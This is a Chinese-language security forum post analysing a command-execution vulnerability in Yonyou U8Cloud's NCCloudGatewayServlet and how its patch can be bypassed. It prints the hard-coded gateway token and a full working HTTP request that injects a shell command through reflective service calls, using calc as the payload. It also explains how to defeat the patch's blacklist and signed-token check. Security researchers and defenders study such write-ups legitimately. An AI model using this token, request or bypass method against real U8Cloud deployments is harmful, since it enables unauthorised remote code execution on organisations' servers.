奇安信攻防社区-用友U8Cloud NCCloudGatewayServlet命令执行漏洞补丁分析及绕过

用友U8Cloud NCCloudGatewayServlet命令执行漏洞补丁分析及绕过

## 漏洞分析官网通告NCCloudGatewayServlet接口存在命令执行漏洞 ![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-ba73511c63a8b4b82c8bc6cfe0e4cb127...

漏洞分析
----

官网通告NCCloudGatewayServlet接口存在命令执行漏洞

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-ba73511c63a8b4b82c8bc6cfe0e4cb1270b3ba57.png)

全局搜索，可以找到对应的com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW类

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-d12b169c7bd85898e72575e1a10ae831e7bbb46c.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-c38bfa0c88c71a12d9439756c4ec2c592318b83d.png)

- 从请求获取gatewaytoken进行检验（这个稍后再看）
- 使用JsonParser解析请求的Json数据
- 调用this.callNCService(jsonObj)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-7a664cb3efdf65d99ad43ccbf76c54b7cfc2baae.png)  
在callNCService中先从json中提取信息，在if (jsonArgInfoArray != null) {xxx}中处理

serviceClassName包含`nc.itf.uap.IUAPQueryBS`，应该会进行一些检查

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-9881b335f5811ecdb8b37adeef3aacba8cba4b8e.png)

之后在反射进行调用，逻辑和InvokerServlet中的类似

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-97aa6194f1ca0396e8f5c6833fc958b572864732.png)

补丁包中可以发现，对com.ufida.zior.console.IActionInvokeService和nc.bs.pub.util.ProcessFileUtils接口进行限制

IActionInvokeService可以找到分析文章：[https://mp.weixin.qq.com/s/8JBAgDL39iYm8W8Aln\\\_2Xg](https://mp.weixin.qq.com/s/8JBAgDL39iYm8W8Aln%5C_2Xg)

大概就是其exec可以调用非私有方法，而ProcessFileUtils的openFile方法可以拼接命令执行

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-a032b221d027cb6b28fcba5b8d8199e0ee8b6233.png)

硬编码权限绕过
-------

回到之前留的一个小坑，gatewaytoken校验

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-a561ece60906dcac662939a724180aba656bad6b.png)

获取nccloud.gateway.nctoken的值des加密然后比对

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-8874c0b4692e0dae4e88cc0a8460bef339f5d143.png)

nccloud.gateway.nctoken又是硬编码

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-b620d1ad7f0f776b776b0f3a5384a9fc4654869d.png)

直接扣他的代码加密即可`TJ6RT-3FVCB-DPYP8-XF7QM-96FV3`

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-218d1fd6975247dc879ff56979421a60bd02ecd0.png)

漏洞复现
----

```Bash
POST /service/NCCloudGatewayServlet HTTP/1.1
Host: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=05D49C795741FFFB6837820E5DDF6BFB.server
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
{
  "serviceInfo": {
    "serviceClassName": "com.ufida.zior.console.IActionInvokeService",
    "serviceMethodName": "exec",
    "serviceMethodArgInfo": [
      {
        "agg": false,
        "isArray": false,
        "isPrimitive": true,
        "argType": { "body": "java.lang.String" },
        "argValue": { "body": "nc.bs.pub.util.ProcessFileUtils" }
      },
      {
        "agg": false,
        "isArray": false,
        "isPrimitive": true,
        "argType": { "body": "java.lang.String" },
        "argValue": { "body": "openFile" }
      },
      {
        "agg": false,
        "isArray": false,
        "isPrimitive": false,
        "argType": { "body": "java.lang.String" },
        "argValue": {
          "body": "test.txt\" | calc;\""
        }
      }
    ]
  }
}
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-00fcfec39b16615aeb724f9092cbf6ca6ca5ff0f.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-64e14aa08c6c11f89151d9568c7ae220e11a29b3.png)

补丁分析
----

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-1e3bccb1bca9e61852afd379c25a4d2266e657c9.png)

进行黑名单

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-ba3c3bd977d960764d191af1db17cf27009d95eb.png)  
token的检验逻辑也变了,获取ts，sign进行比对

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-c1bd707d791d9f6ed50d793e8fd6de441547b693.png)

就是结合时间戳又套了一层

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-8a643f5fc31449c5ad9bcb763593384e72c99515.png)

补丁绕过
----

也就还是扣他的算法即可，三分钟有效足以够用

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-208cd4a79482250b7636f44bc88f81611c6d2953.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-35b745e3d49ede858414355d4b6dfa69e3788a6d.png)

因为只做了黑名单限制，找一个黑名单外的类即可，还是挺多的（poc就先不放了）

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-f3dec3f8a046e49d028da5e1cc0d88a1abd736ff.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-e9769e6e62cc096875d2ebbd7e08ec77a33e51cc.png)

发表于 2025-10-28 09:00:01
阅读 ( 362 )
分类：OA产品

用友U8Cloud NCCloudGatewayServlet命令执行漏洞补丁分析及绕过

0 条评论